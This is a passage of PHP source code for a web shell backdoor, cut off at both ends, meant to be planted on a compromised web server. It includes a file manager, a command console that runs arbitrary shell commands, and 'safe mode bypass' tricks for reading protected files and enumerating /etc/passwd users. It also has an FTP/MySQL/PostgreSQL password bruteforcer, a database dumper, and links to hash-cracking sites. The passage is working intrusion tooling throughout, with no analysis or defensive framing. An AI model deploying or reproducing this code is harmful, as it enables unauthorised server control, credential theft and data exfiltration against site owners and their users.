\"cmp\"); usort($links, \"cmp\"); $files = array_merge($dirs, $links, $files); $l = 0; foreach($files as $f) { echo \'<tr\'.($l?\' class=l1\':\'\').\'><td><input type=checkbox name=\"f[]\" value=\"\'.urlencode($f[\'name\']).\'\" class=chkbx></td><td><a href=# onclick=\"\'.(($f[\'type\']==\'file\')?\'g(\\\'FilesTools\\\',null,\\\'\'.urlencode($f[\'name\']).\'\\\', \\\'view\\\')\">\'.htmlspecialchars($f[\'name\']):\'g(\\\'FilesMan\\\',\\\'\'.$f[\'path\'].\'\\\');\"><b>[ \'.htmlspecialchars($f[\'name\']).\' ]</b>\').\'</a></td><td>\'.(($f[\'type\']==\'file\')?viewSize($f[\'size\']):$f[\'type\']).\'</td><td>\'.$f[\'modify\'].\'</td><td>\'.$f[\'owner\'].\'/\'.$f[\'group\'].\'</td><td><a href=# onclick=\"g(\\\'FilesTools\\\',null,\\\'\'.urlencode($f[\'name\']).\'\\\',\\\'chmod\\\')\">\'.$f[\'perms\'] .\'</td><td><a href=\"#\" onclick=\"g(\\\'FilesTools\\\',null,\\\'\'.urlencode($f[\'name\']).\'\\\', \\\'rename\\\')\">R</a> <a href=\"#\" onclick=\"g(\\\'FilesTools\\\',null,\\\'\'.urlencode($f[\'name\']).\'\\\', \\\'touch\\\')\">T</a>\'.(($f[\'type\']==\'file\')?\' <a href=\"#\" onclick=\"g(\\\'FilesTools\\\',null,\\\'\'.urlencode($f[\'name\']).\'\\\', \\\'edit\\\')\">E</a> <a href=\"#\" onclick=\"g(\\\'FilesTools\\\',null,\\\'\'.urlencode($f[\'name\']).\'\\\', \\\'download\\\')\">D</a>\':\'\').\'</td></tr>\'; $l = $l?0:1; } ?>      <tr><td colspan=7>      <input type=hidden name=a value=\'FilesMan\'>      <input type=hidden name=c value=\'<?=htmlspecialchars($GLOBALS[\'cwd\'])?>\'>      <input type=hidden name=charset value=\'<?=isset($_POST[\'charset\'])?$_POST[\'charset\']:\'\'?>\'>      <select name=\'p1\'><option value=\'copy\'>Copy</option><option value=\'move\'>Move</option><option value=\'delete\'>Delete</option><?php if(!empty($_SESSION[\'act\'])&&@count($_SESSION[\'f\'])){?><option value=\'paste\'>Paste</option><?php }?></select>&nbsp;<input type=\"submit\" value=\">>\"></td></tr>      </form></table></div>      <?php printFooter(); } function actionStringTools() { if(!function_exists(\'hex2bin\')) {function hex2bin($p) {return decbin(hexdec($p));}} if(!function_exists(\'hex2ascii\')) {function hex2ascii($p){$r=\'\';for($i=0;$i<strLen($p);$i+=2){$r.=chr(hexdec($p[$i].$p[$i+1]));}return $r;}} if(!function_exists(\'ascii2hex\')) {function ascii2hex($p){$r=\'\';for($i=0;$i<strlen($p);++$i)$r.= dechex(ord($p[$i]));return strtoupper($r);}} if(!function_exists(\'full_urlencode\')) {function full_urlencode($p){$r=\'\';for($i=0;$i<strlen($p);++$i)$r.= \'%\'.dechex(ord($p[$i]));return strtoupper($r);}}if(isset($_POST[\'ajax\'])) { $_SESSION[md5($_SERVER[\'HTTP_HOST\']).\'ajax\'] = true; ob_start(); if(function_exists($_POST[\'p1\'])) echo $_POST[\'p1\']($_POST[\'p2\']); $temp = \"document.getElementById(\'strOutput\').style.display=\'\';document.getElementById(\'strOutput\').innerHTML=\'\".addcslashes(htmlspecialchars(ob_get_clean()),\"\\n\\r\\t\\\\\'\\0\").\"\';\\n\"; echo strlen($temp), \"\\n\", $temp; exit; } printHeader(); echo \'<h1>String conversions</h1><div class=content>\'; $stringTools = array( \'Base64 encode\' => \'base64_encode\', \'Base64 decode\' => \'base64_decode\', \'Url encode\' => \'urlencode\', \'Url decode\' => \'urldecode\', \'Full urlencode\' => \'full_urlencode\', \'md5 hash\' => \'md5\', \'sha1 hash\' => \'sha1\', \'crypt\' => \'crypt\', \'CRC32\' => \'crc32\', \'ASCII to HEX\' => \'ascii2hex\', \'HEX to ASCII\' => \'hex2ascii\', \'HEX to DEC\' => \'hexdec\', \'HEX to BIN\' => \'hex2bin\', \'DEC to HEX\' => \'dechex\', \'DEC to BIN\' => \'decbin\', \'BIN to HEX\' => \'bin2hex\', \'BIN to DEC\' => \'bindec\', \'String to lower case\' => \'strtolower\', \'String to upper case\' => \'strtoupper\', \'Htmlspecialchars\' => \'htmlspecialchars\', \'String length\' => \'strlen\', ); if(empty($_POST[\'ajax\'])&&!empty($_POST[\'p1\'])) $_SESSION[md5($_SERVER[\'HTTP_HOST\']).\'ajax\'] = false; echo \"<form name=\'toolsForm\' onSubmit=\'if(this.ajax.checked){a(null,null,this.selectTool.value,this.input.value);}else{g(null,null,this.selectTool.value,this.input.value);} return false;\'><select name=\'selectTool\'>\"; foreach($stringTools as $k => $v) echo \"<option value=\'\".htmlspecialchars($v).\"\'>\".$k.\"</option>\"; echo \"</select><input type=\'submit\' value=\'>>\'/> <input type=checkbox name=ajax value=1 \".($_SESSION[md5($_SERVER[\'HTTP_HOST\']).\'ajax\']?\'checked\':\'\').\"> send using AJAX<br><textarea name=\'input\' style=\'margin-top:5px\' class=bigarea>\".htmlspecialchars(@$_POST[\'p2\']).\"</textarea></form><pre class=\'ml1\' style=\'\".(empty($_POST[\'p1\'])?\'display:none;\':\'\').\"margin-top:5px\' id=\'strOutput\'>\"; if(!empty($_POST[\'p1\'])) { if(function_exists($_POST[\'p1\'])) echo htmlspecialchars($_POST[\'p1\']($_POST[\'p2\'])); } echo\"</pre></div>\"; ?>      <br><h1>Search for hash:</h1><div class=content>          <form method=\'post\' target=\'_blank\' name=\"hf\">              <input type=\"text\" name=\"hash\" style=\"width:200px;\"><br>              <input type=\"button\" value=\"hashcrack.com\" onclick=\"document.hf.action=\'http://www.hashcrack.com/index.php\';document.hf.submit()\"><br>              <input type=\"button\" value=\"milw0rm.com\" onclick=\"document.hf.action=\'http://www.milw0rm.com/cracker/search.php\';document.hf.submit()\"><br>              <input type=\"button\" value=\"hashcracking.info\" onclick=\"document.hf.action=\'https://hashcracking.info/index.php\';document.hf.submit()\"><br>              <input type=\"button\" value=\"md5.rednoize.com\" onclick=\"document.hf.action=\'http://md5.rednoize.com/?q=\'+document.hf.hash.value+\'&s=md5\';document.hf.submit()\"><br>              <input type=\"button\" value=\"md5decrypter.com\" onclick=\"document.hf.action=\'http://www.md5decrypter.com/\';document.hf.submit()\"><br>          </form>      </div>      <?php printFooter(); } function actionFilesTools() { if( isset($_POST[\'p1\']) ) $_POST[\'p1\'] = urldecode($_POST[\'p1\']); if(@$_POST[\'p2\']==\'download\') { if(is_file($_POST[\'p1\']) && is_readable($_POST[\'p1\'])) { ob_start(\"ob_gzhandler\", 4096); header(\"Content-Disposition: attachment; filename=\".basename($_POST[\'p1\'])); if (function_exists(\"mime_content_type\")) { $type = @mime_content_type($_POST[\'p1\']); header(\"Content-Type: \".$type); } $fp = @fopen($_POST[\'p1\'], \"r\"); if($fp) { while(!@feof($fp)) echo @fread($fp, 1024); fclose($fp); } } elseif(is_dir($_POST[\'p1\']) && is_readable($_POST[\'p1\'])) { } exit; } if( @$_POST[\'p2\'] == \'mkfile\' ) { if(!file_exists($_POST[\'p1\'])) { $fp = @fopen($_POST[\'p1\'], \'w\'); if($fp) { $_POST[\'p2\'] = \"edit\"; fclose($fp); } } } printHeader(); echo \'<h1>File tools</h1><div class=content>\'; if( !file_exists(@$_POST[\'p1\']) ) { echo \'File not exists\'; printFooter(); return; } $uid = @posix_getpwuid(@fileowner($_POST[\'p1\'])); $gid = @posix_getgrgid(@fileowner($_POST[\'p1\'])); echo \'<span>Name:</span> \'.htmlspecialchars($_POST[\'p1\']).\' <span>Size:</span> \'.(is_file($_POST[\'p1\'])?viewSize(filesize($_POST[\'p1\'])):\'-\').\' <span>Permission:</span> \'.viewPermsColor($_POST[\'p1\']).\' <span>Owner/Group:</span> \'.$uid[\'name\'].\'/\'.$gid[\'name\'].\'<br>\'; echo \'<span>Create time:</span> \'.date(\'Y-m-d H:i:s\',filectime($_POST[\'p1\'])).\' <span>Access time:</span> \'.date(\'Y-m-d H:i:s\',fileatime($_POST[\'p1\'])).\' <span>Modify time:</span> \'.date(\'Y-m-d H:i:s\',filemtime($_POST[\'p1\'])).\'<br><br>\'; if( empty($_POST[\'p2\']) ) $_POST[\'p2\'] = \'view\'; if( is_file($_POST[\'p1\']) ) $m = array(\'View\', \'Highlight\', \'Download\', \'Hexdump\', \'Edit\', \'Chmod\', \'Rename\', \'Touch\'); else $m = array(\'Chmod\', \'Rename\', \'Touch\'); foreach($m as $v) echo \'<a href=# onclick=\"g(null,null,null,\\\'\'.strtolower($v).\'\\\')\">\'.((strtolower($v)==@$_POST[\'p2\'])?\'<b>[ \'.$v.\' ]</b>\':$v).\'</a> \'; echo \'<br><br>\'; switch($_POST[\'p2\']) { case \'view\': echo \'<pre class=ml1>\'; $fp = @fopen($_POST[\'p1\'], \'r\'); if($fp) { while( !@feof($fp) ) echo htmlspecialchars(@fread($fp, 1024)); @fclose($fp); } echo \'</pre>\'; break; case \'highlight\': if( is_readable($_POST[\'p1\']) ) { echo \'<div class=ml1 style=\"background-color: #e1e1e1;color:black;\">\'; $code = highlight_file($_POST[\'p1\'],true); echo str_replace(array(\'<span \',\'</span>\'), array(\'<font \',\'</font>\'),$code).\'</div>\'; } break; case \'chmod\': if( !empty($_POST[\'p3\']) ) { $perms = 0; for($i=strlen($_POST[\'p3\'])-1;$i>=0;--$i) $perms += (int)$_POST[\'p3\'][$i]*pow(8, (strlen($_POST[\'p3\'])-$i-1)); if(!@chmod($_POST[\'p1\'], $perms)) echo \'Can\\\'t set permissions!<br><script>document.mf.p3.value=\"\";</script>\'; else die(\'<script>g(null,null,null,null,\"\")</script>\'); } echo \'<form onsubmit=\"g(null,null,null,null,this.chmod.value);return false;\"><input type=text name=chmod value=\"\'.substr(sprintf(\'%o\', fileperms($_POST[\'p1\'])),-4).\'\"><input type=submit value=\">>\"></form>\'; break; case \'edit\': if( !is_writable($_POST[\'p1\'])) { echo \'File isn\\\'t writeable\'; break; } if( !empty($_POST[\'p3\']) ) { @file_put_contents($_POST[\'p1\'],$_POST[\'p3\']); echo \'Saved!<br><script>document.mf.p3.value=\"\";</script>\'; } echo \'<form onsubmit=\"g(null,null,null,null,this.text.value);return false;\"><textarea name=text class=bigarea>\'; $fp = @fopen($_POST[\'p1\'], \'r\'); if($fp) { while( !@feof($fp) ) echo htmlspecialchars(@fread($fp, 1024)); @fclose($fp); } echo \'</textarea><input type=submit value=\">>\"></form>\'; break; case \'hexdump\': $c = @file_get_contents($_POST[\'p1\']); $n = 0; $h = array(\'00000000<br>\',\'\',\'\'); $len = strlen($c); for ($i=0; $i<$len; ++$i) { $h[1] .= sprintf(\'%02X\',ord($c[$i])).\' \'; switch ( ord($c[$i]) ) { case 0:$h[2] .= \' \'; break; case 9:$h[2] .= \' \'; break; case 10: $h[2] .= \' \'; break; case 13: $h[2] .= \' \'; break; default: $h[2] .= $c[$i]; break; } $n++; if ($n == 32) { $n = 0; if ($i+1 < $len) {$h[0] .= sprintf(\'%08X\',$i+1).\'<br>\';} $h[1] .= \'<br>\'; $h[2] .= \"\\n\"; }} echo \'<table cellspacing=1 cellpadding=5 bgcolor=#222222><tr><td bgcolor=#333333><span style=\"font-weight: normal;\"><pre>\'.$h[0].\'</pre></span></td><td bgcolor=#282828><pre>\'.$h[1].\'</pre></td><td bgcolor=#333333><pre>\'.htmlspecialchars($h[2]).\'</pre></td></tr></table>\'; break; case \'rename\': if( !empty($_POST[\'p3\']) ) { if(!@rename($_POST[\'p1\'], $_POST[\'p3\'])) echo \'Can\\\'t rename!<br><script>document.mf.p3.value=\"\";</script>\'; else die(\'<script>g(null,null,\"\'.urlencode($_POST[\'p3\']).\'\",null,\"\")</script>\'); } echo \'<form onsubmit=\"g(null,null,null,null,this.name.value);return false;\"><input type=text name=name value=\"\'.htmlspecialchars($_POST[\'p1\']).\'\"><input type=submit value=\">>\"></form>\'; break; case \'touch\': if( !empty($_POST[\'p3\']) ) { $time = strtotime($_POST[\'p3\']); if($time) { if(@touch($_POST[\'p1\'],$time,$time)) die(\'<script>g(null,null,null,null,\"\")</script>\'); else { echo \'Fail!<script>document.mf.p3.value=\"\";</script>\'; } } else echo \'Bad time format!<script>document.mf.p3.value=\"\";</script>\'; } echo \'<form onsubmit=\"g(null,null,null,null,this.touch.value);return false;\"><input type=text name=touch value=\"\'.date(\"Y-m-d H:i:s\", @filemtime($_POST[\'p1\'])).\'\"><input type=submit value=\">>\"></form>\'; break; case \'mkfile\':break; } echo \'</div>\'; printFooter(); } function actionSafeMode() { $temp=\'\'; ob_start(); switch($_POST[\'p1\']) { case 1: $temp=@tempnam($test, \'cx\'); if(@copy(\"compress.zlib://\".$_POST[\'p2\'], $temp)){ echo @file_get_contents($temp); unlink($temp); } else echo \'Sorry... Can\\\'t open file\'; break; case 2: $files = glob($_POST[\'p2\'].\'*\'); if( is_array($files) ) foreach ($files as $filename) echo $filename.\"\\n\"; break; case 3: $ch = curl_init(\"file://\".$_POST[\'p2\'].\"\\x00\".SELF_PATH); curl_exec($ch); break; case 4: ini_restore(\"safe_mode\"); ini_restore(\"open_basedir\"); include($_POST[\'p2\']); break; case 5: for(;$_POST[\'p2\'] <= $_POST[\'p3\'];$_POST[\'p2\']++) { $uid = @posix_getpwuid($_POST[\'p2\']); if ($uid) echo join(\':\',$uid).\"\\n\"; } break; case 6: if(!function_exists(\'imap_open\'))break; $stream = imap_open($_POST[\'p2\'], \"\", \"\"); if ($stream == FALSE) break; echo imap_body($stream, 1); imap_close($stream); break; } $temp = ob_get_clean(); printHeader(); echo \'<h1>Safe mode bypass</h1><div class=content>\'; echo \'<span>Copy (read file)</span><form onsubmit=\\\'g(null,null,\"1\",this.param.value);return false;\\\'><input type=text name=param><input type=submit value=\">>\"></form><br><span>Glob (list dir)</span><form onsubmit=\\\'g(null,null,\"2\",this.param.value);return false;\\\'><input type=text name=param><input type=submit value=\">>\"></form><br><span>Curl (read file)</span><form onsubmit=\\\'g(null,null,\"3\",this.param.value);return false;\\\'><input type=text name=param><input type=submit value=\">>\"></form><br><span>Ini_restore (read file)</span><form onsubmit=\\\'g(null,null,\"4\",this.param.value);return false;\\\'><input type=text name=param><input type=submit value=\">>\"></form><br><span>Posix_getpwuid (\"Read\" /etc/passwd)</span><table><form onsubmit=\\\'g(null,null,\"5\",this.param1.value,this.param2.value);return false;\\\'><tr><td>From</td><td><input type=text name=param1 value=0></td></tr><tr><td>To</td><td><input type=text name=param2 value=1000></td></tr></table><input type=submit value=\">>\"></form><br><br><span>Imap_open (read file)</span><form onsubmit=\\\'g(null,null,\"6\",this.param.value);return false;\\\'><input type=text name=param><input type=submit value=\">>\"></form>\'; if($temp) echo \'<pre class=\"ml1\" style=\"margin-top:5px\" id=\"Output\">\'.$temp.\'</pre>\'; echo \'</div>\'; printFooter(); } function actionConsole() { if(isset($_POST[\'ajax\'])) { $_SESSION[md5($_SERVER[\'HTTP_HOST\']).\'ajax\'] = true; ob_start(); echo \"document.cf.cmd.value=\'\';\\n\"; $temp = @iconv($_POST[\'charset\'], \'UTF-8\', addcslashes(\"\\n$ \".$_POST[\'p1\'].\"\\n\".ex($_POST[\'p1\']),\"\\n\\r\\t\\\\\'\\0\")); if(preg_match(\"!.*cd\\s+([^;]+)$!\",$_POST[\'p1\'],$match)){ if(@chdir($match[1])) { $GLOBALS[\'cwd\'] = @getcwd(); echo \"document.mf.c.value=\'\".$GLOBALS[\'cwd\'].\"\';\"; } } echo \"document.cf.output.value+=\'\".$temp.\"\';\"; echo \"document.cf.output.scrollTop = document.cf.output.scrollHeight;\"; $temp = ob_get_clean(); echo strlen($temp), \"\\n\", $temp; exit; } printHeader(); ?>  <script>  if(window.Event) window.captureEvents(Event.KEYDOWN);  var cmds = new Array(\"\");  var cur = 0;  function kp(e) {      var n = (window.Event) ? e.which : e.keyCode;      if(n == 38) {          cur--;          if(cur>=0)              document.cf.cmd.value = cmds[cur];          else              cur++;      } else if(n == 40) {          cur++;          if(cur < cmds.length)              document.cf.cmd.value = cmds[cur];          else              cur--;      }  }  function add(cmd) {      cmds.pop();      cmds.push(cmd);      cmds.push(\"\");      cur = cmds.length-1;  }  </script>  <?php echo \'<h1>Console</h1><div class=content><form name=cf onsubmit=\"if(document.cf.cmd.value==\\\'clear\\\'){document.cf.output.value=\\\'\\\';document.cf.cmd.value=\\\'\\\';return false;}add(this.cmd.value);if(this.ajax.checked){a(null,null,this.cmd.value);}else{g(null,null,this.cmd.value);} return false;\"><select name=alias>\'; foreach($GLOBALS[\'aliases\'] as $n => $v) { if($v == \'\') { echo \'<optgroup label=\"-\'.htmlspecialchars($n).\'-\"></optgroup>\'; continue; } echo \'<option value=\"\'.htmlspecialchars($v).\'\">\'.$n.\'</option>\'; } if(empty($_POST[\'ajax\'])&&!empty($_POST[\'p1\'])) $_SESSION[md5($_SERVER[\'HTTP_HOST\']).\'ajax\'] = false; echo \'</select><input type=button onclick=\"add(document.cf.alias.value);if(document.cf.ajax.checked){a(null,null,document.cf.alias.value);}else{g(null,null,document.cf.alias.value);}\" value=\">>\"> <input type=checkbox name=ajax value=1 \'.($_SESSION[md5($_SERVER[\'HTTP_HOST\']).\'ajax\']?\'checked\':\'\').\'> send using AJAX<br/><textarea class=bigarea name=output style=\"border-bottom:0;margin:0;\" readonly>\'; if(!empty($_POST[\'p1\'])) { echo htmlspecialchars(\"$ \".$_POST[\'p1\'].\"\\n\".ex($_POST[\'p1\'])); } echo \'</textarea><input type=text name=cmd style=\"border-top:0;width:100%;margin:0;\" onkeydown=\"kp(event);\">\'; echo \'</form></div><script>document.cf.cmd.focus();</script>\'; printFooter(); } function actionLogout() { unset($_SESSION[md5($_SERVER[\'HTTP_HOST\'])]); echo \'bye!\'; } function actionSelfRemove() { printHeader(); if($_POST[\'p1\'] == \'yes\') { if(@unlink(SELF_PATH)) die(\'Shell has been removed\'); else echo \'unlink error!\'; } echo \'<h1>Suicide</h1><div class=content>Really want to remove the shell?<br><a href=# onclick=\"g(null,null,\\\'yes\\\')\">Yes</a></div>\'; printFooter(); } function actionBruteforce() { printHeader(); if( isset($_POST[\'proto\']) ) { echo \'<h1>Results</h1><div class=content><span>Type:</span> \'.htmlspecialchars($_POST[\'proto\']).\' <span>Server:</span> \'.htmlspecialchars($_POST[\'server\']).\'<br>\'; if( $_POST[\'proto\'] == \'ftp\' ) { function bruteForce($ip,$port,$login,$pass) { $fp = @ftp_connect($ip, $port?$port:21); if(!$fp) return false; $res = @ftp_login($fp, $login, $pass); @ftp_close($fp); return $res; } } elseif( $_POST[\'proto\'] == \'mysql\' ) { function bruteForce($ip,$port,$login,$pass) { $res = @mysql_connect($ip.\':\'.$port?$port:3306, $login, $pass); @mysql_close($res); return $res; } } elseif( $_POST[\'proto\'] == \'pgsql\' ) { function bruteForce($ip,$port,$login,$pass) { $str = \"host=\'\".$ip.\"\' port=\'\".$port.\"\' user=\'\".$login.\"\' password=\'\".$pass.\"\' dbname=\'\'\"; $res = @pg_connect($server[0].\':\'.$server[1]?$server[1]:5432, $login, $pass); @pg_close($res); return $res; } } $success = 0; $attempts = 0; $server = explode(\":\", $_POST[\'server\']); if($_POST[\'type\'] == 1) { $temp = @file(\'/etc/passwd\'); if( is_array($temp) ) foreach($temp as $line) { $line = explode(\":\", $line); ++$attempts; if( bruteForce(@$server[0],@$server[1], $line[0], $line[0]) ) { $success++; echo \'<b>\'.htmlspecialchars($line[0]).\'</b>:\'.htmlspecialchars($line[0]).\'<br>\'; } if(@$_POST[\'reverse\']) { $tmp = \"\"; for($i=strlen($line[0])-1; $i>=0; --$i) $tmp .= $line[0][$i]; ++$attempts; if( bruteForce(@$server[0],@$server[1], $line[0], $tmp) ) { $success++; echo \'<b>\'.htmlspecialchars($line[0]).\'</b>:\'.htmlspecialchars($tmp); } } } } elseif($_POST[\'type\'] == 2) { $temp = @file($_POST[\'dict\']); if( is_array($temp) ) foreach($temp as $line) { $line = trim($line); ++$attempts; if( bruteForce($server[0],@$server[1], $_POST[\'login\'], $line) ) { $success++; echo \'<b>\'.htmlspecialchars($_POST[\'login\']).\'</b>:\'.htmlspecialchars($line).\'<br>\'; } } } echo \"<span>Attempts:</span> $attempts <span>Success:</span> $success</div><br>\"; } echo \'<h1>FTP bruteforce</h1><div class=content><table><form method=post><tr><td><span>Type</span></td>\' .\'<td><select name=proto><option value=ftp>FTP</option><option value=mysql>MySql</option><option value=pgsql>PostgreSql</option></select></td></tr><tr><td>\' .\'<input type=hidden name=c value=\"\'.htmlspecialchars($GLOBALS[\'cwd\']).\'\">\' .\'<input type=hidden name=a value=\"\'.htmlspecialchars($_POST[\'a\']).\'\">\' .\'<input type=hidden name=charset value=\"\'.htmlspecialchars($_POST[\'charset\']).\'\">\' .\'<span>Server:port</span></td>\' .\'<td><input type=text name=server value=\"127.0.0.1\"></td></tr>\' .\'<tr><td><span>Brute type</span></td>\' .\'<td><label><input type=radio name=type value=\"1\" checked> /etc/passwd</label></td></tr>\' .\'<tr><td></td><td><label style=\"padding-left:15px\"><input type=checkbox name=reverse value=1 checked> reverse (login -> nigol)</label></td></tr>\' .\'<tr><td></td><td><label><input type=radio name=type value=\"2\"> Dictionary</label></td></tr>\' .\'<tr><td></td><td><table style=\"padding-left:15px\"><tr><td><span>Login</span></td>\' .\'<td><input type=text name=login value=\"komsen\"></td></tr>\' .\'<tr><td><span>Dictionary</span></td>\' .\'<td><input type=text name=dict value=\"\'.htmlspecialchars($GLOBALS[\'cwd\']).\'passwd.dic\"></td></tr></table>\' .\'</td></tr><tr><td></td><td><input type=submit value=\">>\"></td></tr></form></table>\'; echo \'</div><br>\'; printFooter(); } function actionSql() { class DbClass { var $type; var $link; var $res; function DbClass($type){ $this->type = $type; } function connect($host, $user, $pass, $dbname){ switch($this->type){ case \'mysql\': if( $this->link = @mysql_connect($host,$user,$pass,true) ) return true; break; case \'pgsql\': $host = explode(\':\', $host); if(!$host[1]) $host[1]=5432; if( $this->link = @pg_connect(\"host={$host[0]} port={$host[1]} user=$user password=$pass dbname=$dbname\") ) return true; break; } return false; } function selectdb($db) { switch($this->type){ case \'mysql\': if (@mysql_select_db($db))return true; break; } return false; } function query($str) { switch($this->type) { case \'mysql\': return $this->res = @mysql_query($str); break; case \'pgsql\': return $this->res = @pg_query($this->link,$str); break; } return false; } function fetch() { $res = func_num_args()?func_get_arg(0):$this->res; switch($this->type){ case \'mysql\': return @mysql_fetch_assoc($res); break; case \'pgsql\': return @pg_fetch_assoc($res); break; } return false; } function listDbs() { switch($this->type){ case \'mysql\': return $this->res = @mysql_list_dbs($this->link); break; case \'pgsql\': return $this->res = $this->query(\"SELECT datname FROM pg_database\"); break; } return false; } function listTables() { switch($this->type){ case \'mysql\': return $this->res = $this->query(\'SHOW TABLES\'); break; case \'pgsql\': return $this->res = $this->query(\"select table_name from information_schema.tables where (table_schema != \'information_schema\' AND table_schema != \'pg_catalog\') or table_name = \'pg_user\'\"); break; } return false; } function error() { switch($this->type){ case \'mysql\': return @mysql_error($this->link); break; case \'pgsql\': return @pg_last_error($this->link); break; } return false; } function setCharset($str) { switch($this->type){ case \'mysql\': if(function_exists(\'mysql_set_charset\')) return @mysql_set_charset($str, $this->link); else $this->query(\'SET CHARSET \'.$str); break; case \'mysql\': return @pg_set_client_encoding($this->link, $str); break; } return false; } function dump($table) { switch($this->type){ case \'mysql\': $res = $this->query(\'SHOW CREATE TABLE `\'.$table.\'`\'); $create = mysql_fetch_array($res); echo $create[1].\";\\n\\n\"; $this->query(\'SELECT * FROM `\'.$table.\'`\'); while($item = $this->fetch()) { $columns = array(); foreach($item as $k=>$v) { $item[$k] = \"\'\".@mysql_real_escape_string($v).\"\'\"; $columns[] = \"`\".$k.\"`\"; } echo \'INSERT INTO `\'.$table.\'` (\'.implode(\", \", $columns).\') VALUES (\'.implode(\", \", $item).\');\'.\"\\n\"; } break; case \'pgsql\': $this->query(\'SELECT * FROM \'.$table); while($item = $this->fetch()) { $columns = array(); foreach($item as $k=>$v) { $item[$k] = \"\'\".addslashes($v).\"\'\"; $columns[] = $k; } echo \'INSERT INTO \'.$table.\' (\'.implode(\", \", $columns).\') VALUES (\'.implode(\", \", $item).\');\'.\"\\n\"; } break; } return false; } }; $db = new DbClass($_POST[\'type\']); if(@$_POST[\'p2\']==\'download\') { ob_start(\"ob_gzhandler\", 4096); $db->connect($_POST[\'sql_host\'], $_POST[\'sql_login\'], $_POST[\'sql_pass\'], $_POST[\'sql_base\']); $db->selectdb($_POST[\'sql_base\']); header(\"Content-Disposition: attachment; filename=dump.sql\"); header(\"Content-Type: text/plain\"); foreach($_POST[\'tbl\'] as $v) $db->dump($v); exit; } printHeader(); ?>      <h1>Sql browser</h1><div class=content>      <form name=\"sf\" method=\"post\">          <table cellpadding=\"2\" cellspacing=\"0\">              <tr>                  <td>Type</td>                  <td>Host</td>                  <td>Login</td>                  <td>Password</td>                  <td>Database</td>                  <td></td>              </tr>              <tr>                  <input type=hidden name=a value=Sql>                  <input type=hidden name=p1 value=\'query\'>                  <input type=hidden name=p2>                  <input type=hidden name=c value=\'<?=htmlspecialchars($GLOBALS[\'cwd\']);?>\'>                  <input type=hidden name=charset value=\'<?=isset($_POST[\'charset\'])?$_POST[\'charset\']:\'\'?>\'>                  <td>                      <select name=\'type\'>                          <option value=\"mysql\" <?php if(@$_POST[\'type\']==\'mysql\')echo \'selected\';?>>MySql</option>                          <option value=\"pgsql\" <?php if(@$_POST[\'type\']==\'pgsql\')echo \'selected\';?>>PostgreSql</option>                      </select></td>                  <td><input type=text name=sql_host value=\'<?=(empty($_POST[\'sql_host\'])?\'localhost\':htmlspecialchars($_POST[\'sql_host\']));?>\'></td>                  <td><input type=text name=sql_login value=\'<?=(empty($_POST[\'sql_login\'])?\'root\':htmlspecialchars($_POST[\'sql_login\']));?>\'></td>                  <td><input type=text name=sql_pass value=\'<?=(empty($_POST[\'sql_pass\'])?\'\':htmlspecialchars($_POST[\'sql_pass\']));?>\'></td>                  <td>      <?php $tmp = \"<input type=text name=sql_base value=\'\'>\"; if(isset($_POST[\'sql_host\'])){ if($db->connect($_POST[\'sql_host\'], $_POST[\'sql_login\'], $_POST[\'sql_pass\'], $_POST[\'sql_base\'])) { switch($_POST[\'charset\']) { case \"Windows-1251\": $db->setCharset(\'cp1251\'); break; case \"UTF-8\": $db->setCharset(\'utf8\'); break; case \"KOI8-R\": $db->setCharset(\'koi8r\'); break; case \"KOI8-U\": $db->setCharset(\'koi8u\'); break; case \"cp866\": $db->setCharset(\'cp866\'); break; } $db->listDbs(); echo \"<select name=sql_base><option value=\'\'></option>\"; while($item = $db->fetch()) { list($key, $value) = each($item); echo \'<option value=\"\'.$value.\'\" \'.($value==$_POST[\'sql_base\']?\'selected\':\'\').\'>\'.$value.\'</option>\'; } echo \'</select>\'; } else echo $tmp; }else echo $tmp; ?></td>                  <td><input type=submit value=\">>\"></td>              </tr>          </table>          <script>              function st(t,l) {                  document.sf.p1.value = \'select\';                  document.sf.p2.value = t;                  if(l!=null)document.sf.p3.value = l;                  document.sf.submit();              }              function is() {                  for(i=0;i<document.sf.elements[\'tbl[]\'].length;++i)                      document.sf.elements[\'tbl[]\'][i].checked = !document.sf.elements[\'tbl[]\'][i].checked;              }          </script>      <?php if(isset($db) && $db->link){ echo \"<br/><table width=100% cellpadding=2 cellspacing=0>\"; if(!empty($_POST[\'sql_base\'])){ $db->selectdb($_POST[\'sql_base\']); echo \"<tr><td width=1 style=\'border-top:2px solid #666;border-right:2px solid #666;\'><span>Tables:</span><br><br>\"; $tbls_res = $db->listTables(); while($item = $db->fetch($tbls_res)) { list($key, $value) = each($item); $n = $db->fetch($db->query(\'SELECT COUNT(*) as n FROM \'.$value.\'\')); $value = htmlspecialchars($value); echo \"<nobr><input type=\'checkbox\' name=\'tbl[]\' value=\'\".$value.\"\'>&nbsp;<a href=# onclick=\\\"st(\'\".$value.\"\')\\\">\".$value.\"</a> (\".$n[\'n\'].\")</nobr><br>\";} echo \"<input type=\'checkbox\' onclick=\'is();\'> <input type=button value=\'Dump\' onclick=\'document.sf.p2.value=\\\"download\\\";document.sf.submit();\'></td><td style=\'border-top:2px solid #666;\'>\"; if(@$_POST[\'p1\'] == \'select\') { $_POST[\'p1\'] = \'query\'; $db->query(\'SELECT COUNT(*) as n FROM \'.$_POST[\'p2\'].\'\'); $num = $db->fetch(); $num = $num[\'n\']; echo \"<span>\".$_POST[\'p2\'].\"</span> ($num) \"; for($i=0;$i<($num/30);$i++) if($i != (int)$_POST[\'p3\']) echo \"<a href=\'#\' onclick=\'st(\\\"\".$_POST[\'p2\'].\"\\\", $i)\'>\",($i+1),\"</a> \"; else echo ($i+1),\" \"; if($_POST[\'type\']==\'pgsql\') $_POST[\'p3\'] = \'SELECT * FROM \'.$_POST[\'p2\'].\' LIMIT 30 OFFSET \'.($_POST[\'p3\']*30); else $_POST[\'p3\'] = \'SELECT * FROM `\'.$_POST[\'p2\'].\'` LIMIT \'.($_POST[\'p3\']*30).\',30\'; echo \"<br><br>\"; } if((@$_POST[\'p1\'] == \'query\') && !empty($_POST[\'p3\'])) { $db->query(@$_POST[\'p3\']); if($db->res !== false) { $title = false; echo \'<table width=100% cellspacing=0 cellpadding=2 class=main>\'; $line = 1; while($item = $db->fetch()){ if(!$title){ echo \'<tr>\'; foreach($item as $key => $value) echo \'<th>\'.$key.\'</th>\'; reset($item); $title=true; echo \'</tr><tr>\'; $line = 2; } echo \'<tr class=\"l\'.$line.\'\">\'; $line = $line==1?2:1; foreach($item as $key => $value) { if($value == null) echo \'<td><i>null</i></td>\'; else echo \'<td>\'.nl2br(htmlspecialchars($value)).\'</td>\'; } echo \'</tr>\'; } echo \'</table>\'; } else { echo \'<div><b>Error:</b> 